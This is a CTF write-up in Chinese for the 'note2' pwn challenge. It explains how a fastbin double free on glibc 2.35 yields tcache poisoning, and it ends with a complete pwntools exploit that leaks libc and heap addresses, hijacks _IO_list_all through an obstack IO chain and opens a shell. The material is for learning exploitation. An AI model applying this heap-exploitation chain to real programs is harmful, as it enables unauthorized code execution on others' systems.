2022柏鹭杯-note2

通过本题的学习明白了,高版本中 fastbin 做出 double free 是如何打 tcache poisoning 的过程。并且了解到了一条新的 IO 链,目前感觉是最好用的一条,可以通杀 2.36 及以下的 libc 版本 具体请见 文章

这位师傅提供了题目附件 2022年柏鹭杯 pwn题复现 - tolele - 博客园 (cnblogs.com)

题目信息

本题存在一个 UAF 漏洞,并且可以无限次的使用 adddelete show 函数,size 被限定到了 0x200 以下,并且可以触发 exit 函数退出。( libc 版本为 2.35

解题思路

因为没有 edit 函数,因此我们考虑 double free ,但由于 key 机制的存在,无法直接在 tcache bin 直接打 double free,解决方法有两种,第一是 house of botcake ,这个方法本题是可以打通的,不过主要的学习收获是第二种方法,就是填满 tcache bin ,然后在 fast bin中做出 double free ,再打 tcache poisoningIO_list_all 申请出来写入堆地址,从而触发最后的 IO attack

本文主要介绍在 fastbin 中做出的 double free 是如何打出 tcache poisoning ,至于 safe-Linking 机制的绕过和 IO_attack 不再介绍。

double freetcache poisoning

malloc 函数内部执行会先进入 libc_malloc 函数,判断是否 tcache bin 的链上有需要的堆块,如果没有的话则进入 int_malloc 函数(有的话则申请出来,直接返回)

int_malloc 函数的最开始就去判断了 fastbin 中对应的链上是否有所需要的堆块,如果有的话就将该堆块取出,作为接下来要返回给用户的堆块。同时去判断这条链上是否还有堆块,如果还有堆块并且 tcache bin 上对应的这条链还有空位置,就将 fastbin 剩下的堆块都放入 tcache bin 中(除非 tcache bin 被填满了)

本题 double free 以及 tcache poisoning 的利用思路是先将 tcache bin 填满,然后正常的在 fastbin 链中做出 double free (如 A->B->A

接着再将 tcache bin 中的堆块全部取出(此时的情况如下) 注意: fastbin 中的 fd 指针也是经过了异或运算的

image-20230420224449196

ptmalloc 对于 fastbin 中堆块移入 tcache bin 的机制是这样处理的。(最初的结构为 A->B->A)(如下)

image-20230420233034606

  1. 首先判断 fastbin 中第一个堆块 Afd 指针是否为空,来检测该链是否还有其他堆块
  2. 无论该链是否有其他堆块,都会将 A 取出来暂存(为之后返回给用户做准备),而将 A 取出后 fastbin 中的结构变成了 B->A->B
  3. 如果该 fastbin 链已经没有其他堆块了,那么就将刚刚的 A 返回给用户
  4. 如果检测出该链还有其他堆块,并且 tcache bin 对应的这条链没有满,就逐个将堆块链出 fastbin ,链入 tcache bin
  5. 因为此时的 tcache bin 是空的,那就不考虑 tcache bin 被装满的这个限制,上面提到此时的结构是 B->A->B ,先去移动当前 fastbin 的第一个堆块 B ,因为 double free 的特殊性,在从 fastbin 取出一个堆块 B 后,其结构变为了 A->B->A 此时刚刚取出的堆块还没有进入 tcache bin
  6. 刚刚这个取出的堆块链入到 tcache bin 时,其 next 指针一定会被置成 0,因为 tcache bin 最初是没有堆块的,此时的 fastbin 结构会受到 tcache bin 中堆块 B next 指针置 0 的影响,从而结构变成了 A->B->0 (因为这个置空的 next 指针是 B 堆块的,因此并不会干扰到 A->B 的这个关系)
  7. 依次类推,从 fastbin 中取出 A然后再放入到 tcachebin 中,此时的 fastbinB->0tcache binA->BLIFO
  8. fastbin 中最后一个 B 进入 tcache bin ,此时 tcache bin 的结构为 B->A->B (由于确实是有三个堆块进入了 tcache bin 所以此时的 tcache_counts3

因为最初就确定了申请出去的是 A,所以 malloc 返回出来 A 后,将数据写入 A 中篡改 next 指针(因为 A 此时还在 tcache bin 中),从而完成了 tcache poisoning 。因此写入数据后的结构为 B->A->address (如下)

image-20230420233021223

简单总结一下:将 tcache bin 填满,然后在 fastbin 中做 double free ,申请出一个堆块后,可以直接打 tcache poisoning ,并且不用担心 tcache_counts 的问题

因为将 IO_list_all 申请出来了,后面就是 IO_FILE 的伪造和布局,本文重点不在这里,就此略过。不过 tools函数库 封装了该 obstack 链的攻击模板,直接使用即可。

EXP

from tools import*
context.log_level='debug'
p,e,libc=load('note2')

def add(index,size,content):
p.sendlineafter(b"> ",str(1).encode())
p.sendlineafter(b"> ",str(index).encode())
p.sendlineafter(b"> ",str(size).encode())
p.sendlineafter(b"Enter content: ",content)

def show(index):
p.sendlineafter(b"> ",str(3).encode())
p.sendlineafter(b"> ",str(index).encode())

def delete(index):
p.sendlineafter(b"> ",str(2).encode())
p.sendlineafter(b"> ",str(index).encode())


for i in range(9):
add(i,0x100,'a')
for i in range(8):
delete(i)
show(7)
libc_base=recv_libc()-0x219ce0
log_addr('libc_base')

for i in range(8):
add(i,0x100,'a')

for i in range(9):
add(i,0x60,'a')

#---------------leak key----------------
delete(0)
show(0)
heap_base=(u64(p.recv(5).ljust(8,b'\x00')))<<12
log_addr('heap_base')
#--------------------------------------
par={
"io_obstack_jumps":libc_base+0x2163c0
,"system":libc_base+0x50d60
}
par_dict=create_dict(par)
heap_addr=0x1020+heap_base #位于io_list_all的chunk用户区
payload=obstack_attack(heap_addr-0x10,par_dict)
#--------------------------------------------------
add(9,0x200,payload)
for i in range(1,7):
delete(i)

delete(7)
delete(8)
delete(7)

debug(p,'pie',0x154C,0x1540)
for i in range(7):
add(i,0x60,'a')

io_list_all=((heap_base+0xf40)>>12)^(libc_base+libc.symbols['_IO_list_all'])
add(7,0x60,p64(io_list_all))

add(0,0x60,'a')
add(0,0x60,'a')

add(0,0x60,p64(heap_addr-0x10))#get io_list_all
p.sendlineafter(b"> ",str(4))
p.interactive()

image-20230421104243994